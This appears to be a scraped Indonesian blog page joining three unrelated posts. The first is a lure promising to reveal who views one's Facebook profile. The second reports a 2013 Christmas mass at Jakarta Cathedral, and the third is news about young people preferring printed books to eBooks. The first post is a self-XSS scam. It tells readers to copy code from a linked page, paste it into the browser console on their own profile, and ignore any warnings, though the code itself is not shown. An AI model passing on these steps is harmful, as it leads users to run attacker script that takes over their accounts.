Cara Cek Siapa Yang Intip Profil Kita
Ayo,,
lihat siapa yang sering intip profil facebook kita.
Aktifkan aplikasi dan fitur ini untuk pertama kalinya menggunakan PC / Laptop. Sesudah aktif, fitur ini dapat di nikmati seterusnya di Facebook Seluler Anda.
Aktifkan aplikasi dan fitur ini untuk pertama kalinya menggunakan PC / Laptop. Sesudah aktif, fitur ini dapat di nikmati seterusnya di Facebook Seluler Anda.
Cara
pemasangan, ikuti Langkah-langkah berikut :
1. Setting dulu FB kamu , klik > https://www.facebook.com/selfxss lalu pilih / tandai
Allow
2. Buka link ini >> kode intip profil facebook
Copy semua kodenya.
biar cepat, tekan [Ctrl+A] lalu tekan [Ctrl+C]
2. Buka link ini >> kode intip profil facebook
Copy semua kodenya.
biar cepat, tekan [Ctrl+A] lalu tekan [Ctrl+C]
3. Setelah Copy, buka Profil FB kamu. (jangan di beranda)
4. Tekan tombol F12 pada keyboardmu. lalu klik / pilih menu Console
kalo gak muncul, tekan [Ctrl+Shift+ J] atau [Ctrl+Shift+K]
5. Paste [Ctrl+V] kodenya ke kolom Console.
6. Tekan ENTER,
**Jika gagal atau muncul peringatan, abaikan saja.. Refresh dan ulangi lagi...
SEMANGAT NATAL 2013
Perayaan Natal tahun
ini harus diakui dilaksanakan dalam suasana keprihatinan atas situasi dan
kondisi bangsa Indonesia. Demikian disampaikan Rm. Bratakartana dan Rm. Adi
Susanto saat memimpin misa Natal yang mengambil tema "Datanglah, Ya Raja
Damai" di Gereja Katedral, Jakarta (24/12).
"Tindakan-tindakan intoleran seperti isu mayoritas dan minoritas di tengah masyarakat akan mengancam kerukunan," ucap Rm. Bratakartana.
Rm.
Bratakartana juga menyoroti kerusakan alam melalui cara hidup keseharian yang
tidak mengindahkan kelestarian lingkungan, eksploitasi besar-besaran terhadap
alam melalui proyek-proyek yang merusak lingkungan serta kejahatan korupsi yang
semakin menggurita.
"Hal lain yang juga memprihatinkan adalah lemahnya integritas para pemimpin bangsa. Bahkan dapat dikatakan semakin hari, integritas para pemimpin bangsa semakin merosot," tambahnya.
Sedangkan Rm. Adi Susanto menyinggung disipln, kinerja, komitmen dan keberpihakan kepada kepentingan rakyat digerus oleh kepentingan politik kekuasaan.
Karenanya, gema Natal 2013 "Datanglah, Ya Raja Damai" menjadi sangat relevan.
"Semangat Natal adalah semangat merefleksikan kembali arti Kristus yang sudah lahir, yang telah meyatakan karya keadilan dan perdamaian dunia, dan karenanya pada saat yang sama, umat berkomitmen untuk mewujudkan kembali karya itu, yaitu karya perdamaian di tengah konteks kita," tandasnya.
Semangat tema ini, tambahnya, sejalan dengan tekad geraja-gereja sedunia yang ingin menegakkan keadilan, sebab kedamaian sejati tidak akan menjadi nyata tanpa penegakkan keadilan.
Label:
Semangat Natal 2013
Internet Sulit Ungguli Popularitas Buku
YORK - Dalam beberapa tahun terakhir, internet mulai menggenggam dunia. Ya, tak dapat dipungkiri internet menjadi begitu dekat dengan kehidupan hampir semua orang.
Tak ayal, berbagai media mulai terancam posisinya. Sebut saja media cetak seperti koran, majalah, dan buku posisinya mungkin terjepit.
Ya, semenjak muncul perangkat eReaders seperti Kindle dan Nook. Akankah pamor buku menjadi redup atau bahkan mati?
Rupanya, sebagaimana disitat BGR, Jumat (29/11/2013) sebuah survei menunjukkan bahwa sebanyak 62 persen orang berusia 16 sampai 24 tahun lebih memilih membaca buku cetak ketimbang eBook.
Tentu saja ini menunjukkan kehadiran buku masih diminati oleh masyarakat dan tak lekang dimakan zaman. Sebab, hasil survei yang dilakukan oleh perusahaan riset pemasaran Voxburner berbicara bahwa buku mampu memberikan nilai lebih dibanding eBook.
Lebih lanjutnya, orang yang membaca buku akan memiliki ikatan emosional lebih tinggi daripada melalui eBook. Juru bicara Voxburner bernama Luke Mitchell mengatakan bahwa tidak seperti koran, buku dianggap menjadi simbol status.
Ya, tidak sedikit orang menggunakan buku untuk memamerkan selera membacanya. Sementara, jika menggunakan e-Readers orang tidak dapat menunjukkan sisi intelektual seseorang.
"Anda tidak bisa benar-benar melihat apa yang sedang dibaca oleh orang itu dalam Kindle-nya bukan?," jelas Mitchell. (amr)